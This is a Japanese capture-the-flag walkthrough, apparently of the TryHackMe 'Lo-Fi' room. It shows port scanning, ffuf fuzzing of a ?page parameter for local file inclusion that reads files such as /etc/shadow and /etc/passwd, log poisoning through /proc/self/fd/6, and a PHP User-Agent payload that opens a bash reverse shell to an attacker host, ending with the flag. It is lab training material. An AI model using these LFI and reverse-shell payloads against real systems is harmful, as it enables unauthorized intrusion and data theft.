🌐

【Walkthrough】Lo-Fi

2025/01/21に公開

列挙

rustscan

次のコマンドでrustscanを実行しました。
rustscan -a 10.10.44.17 --ulimit 5000 -- -sV -sC -oN rustscan_10.10.44.17.txt

Nmap scan report for 10.10.44.17
Host is up, received reset ttl 61 (0.37s latency).
Scanned at 2025-01-21 00:30:58 JST for 20s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9f:15:8e:ba:2a:21:a5:61:ab:83:a9:48:a9:c9:c9:e9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDN4xwwp3VOfImZdbg3P0kP5e9XVKrp9TH2951H70PSd5F5lQPSfbf/qWAyDLAmel5CxhySpEvhIosXWW5kjq4R1zIcTjrAAdAFZhHE+bSCwC7SDGT5NdSKyBw7L/xgZtGlZZi0RhXBiRV7l2sxwy7KWxr4uv2LN54FifLUNa4mVRH8tuElJTXeSYBVnDnF7eOYJbC45y+xPUL5lo8JvCcB/OatlBygZSErYvFJoH+07gtT/OScvepARGLiAepw4RoMkBTF0jywrHEQHXvCLyopT3Dlusl5L7PMFH40lQyBkWDqyLpc7Rr5mQ41KyEXCFanmOrXzK7eFX+Hmedfyig4aylPY6CaSplV4nykh3j7qSjkwi1Np/LmSoGaBYMsx2lR/6JIKjVPMur3xC2VTp9ol8UAwENUGXX1Vuoou3Y6KQI1WBkqOCUZg/c2jLnCeN/V9hdTNbvQHI0yaw2yxTXNwOZuNF9oMnbo6kDNSLVNwiyeeRRsF4e5WRbEvWOImrE=
|   256 81:66:5a:8b:e3:4d:cd:c5:a5:a2:a5:d1:d6:de:a4:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPlkXCSaZQLYncjXuQLNHQPPvz8S2kviEmmOQjvSKQ//QmEqwXPDzVXO7o4schghd9Ofsiw0Z07w26yMCBHsSRE=
|   256 3c:6e:2b:54:12:8c:be:07:bf:1a:ac:6d:a6:77:ee:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO+M0f5XXUCqAFqVvXWZr2SWHan6WF7knuxWsM0LCR2U
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Lo-Fi Music
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

Webページを確認しました。

roomのヒントからLFIを足場とすると推測します。
LFIが可能そうな?pageパラメータに対してファジングしていきます。

LFIが成功しました。

足場

LFIを利用してリバースシェルを獲得していきます。そのために利用可能なファイルを列挙しました。
wordlistのLFI-gracefulsecurity-linux.txtは一般的なセキュリティに関わるファイルパスをリストにしています。
ffufの-frオプションはHTMLに表示されている特定の文字が含まれるレスポンスを除外してくれます。

┌──(kali㉿kali)-[~/Documents/Tryhackme/lofi]
└─$ ffuf -w /home/kali/WORDLIST/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://10.10.44.17/?page=../../../../../../../FUZZ -fr 'does not exist'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.44.17/?page=../../../../../../../FUZZ
 :: Wordlist         : FUZZ: /home/kali/WORDLIST/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: does not exist
________________________________________________

/etc/apache2/httpd.conf [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 374ms]
/etc/hosts              [Status: 200, Size: 4051, Words: 1360, Lines: 131, Duration: 379ms]
/etc/apache2/apache2.conf [Status: 200, Size: 12223, Words: 2697, Lines: 361, Duration: 380ms]
/etc/shadow             [Status: 200, Size: 3877, Words: 1358, Lines: 124, Duration: 384ms]
/etc/issue              [Status: 200, Size: 3903, Words: 1362, Lines: 126, Duration: 385ms]
/etc/passwd             [Status: 200, Size: 4638, Words: 1363, Lines: 143, Duration: 395ms]
/etc/fstab              [Status: 200, Size: 3914, Words: 1363, Lines: 125, Duration: 392ms]
/etc/lsb-release        [Status: 200, Size: 3983, Words: 1360, Lines: 128, Duration: 373ms]
/etc/motd               [Status: 200, Size: 3988, Words: 1369, Lines: 127, Duration: 373ms]
/etc/mtab               [Status: 200, Size: 7375, Words: 1533, Lines: 159, Duration: 375ms]
・
・
・

このマシンではphp://filterなどは利用できませんし、access.logにもアクセスできません。
しかし/proc/self/fd/6にアクセスすることでaccess.logを読み込むことに成功しました。

以下の記事を参考にしました。

RCEのexploitの実行
/proc/self/fd/(数字)
/proc/self/fd/(数字)には、/dev/fdがシンボリックリンクされています。例えば、/dev/stdin、/dev/stdout、/dev/stderrは、0、1、2の順でリンクされています。Apacheなどのaccess.logが/proc/self/fd/(数字)に出力設定している場合、access.logと同じ手順でOSコマンドが実行できます。
https://jpn.nec.com/cybersecurity/blog/210611/index.html

アプリケーションメニュー -> その他のツール -> ウェブ開発者ツール -> レスポンシブデザインモード -> レスポンシブ -> リストを編集.. -> カスタム端末を追加.. よりreverseShellというカスタムユーザエージェントを作成しました。
ユーザエージェント名は次のようにしました。
<?php system('bash -c \"bash -i >& /dev/tcp/{Attacker IP}/{port} 0>&1\"')?>

シェルを獲得することができました。

┌──(kali㉿kali)-[~/Documents/Tryhackme/lofi]
└─$ nc -lvnp 1919
Listening on 0.0.0.0 1919
Connection received on 10.10.44.17 44582
bash: no job control in this shell
www-data@36c47760f3b5:/var/www/html$ whoami
whoami
www-data

ルートディレクトリに移動するとflag.txtを発見することができました。

ls -la /
total 84
drwxr-xr-x   1 root root 4096 Mar  2  2022 .
drwxr-xr-x   1 root root 4096 Mar  2  2022 ..
-rwxr-xr-x   1 root root    0 Mar  2  2022 .dockerenv
drwxr-xr-x   1 root root 4096 Apr 14  2018 bin
drwxr-xr-x   2 root root 4096 Apr 19  2012 boot
drwxr-xr-x   5 root root  340 Jan 20 15:28 dev
drwxr-xr-x   1 root root 4096 Mar  2  2022 etc
-rw-rw-r--   1 root root   38 Mar  2  2022 flag.txt
drwxr-xr-x   2 root root 4096 Apr 19  2012 home
drwxr-xr-x   1 root root 4096 Apr 14  2018 lib
drwxr-xr-x   2 root root 4096 Mar 31  2017 lib64
drwxr-xr-x   2 root root 4096 Mar 31  2017 media
drwxr-xr-x   2 root root 4096 Apr 19  2012 mnt
drwxr-xr-x   2 root root 4096 Mar 31  2017 opt
dr-xr-xr-x 185 root root    0 Jan 20 15:28 proc
drwx------   2 root root 4096 Mar 31  2017 root
drwxr-xr-x   1 root root 4096 Mar  2  2022 run
drwxr-xr-x   1 root root 4096 Apr 12  2017 sbin
drwxr-xr-x   2 root root 4096 Mar  5  2012 selinux
drwxr-xr-x   2 root root 4096 Mar 31  2017 srv
dr-xr-xr-x  13 root root    0 Jan 20 15:28 sys
drwxrwxrwt   1 root root 4096 Jan 20 15:28 tmp
drwxr-xr-x   1 root root 4096 Apr 14  2018 usr
drwxr-xr-x   1 root root 4096 Apr 14  2018 var
cat flag.txt
flag{**REDACTED**}

Discussion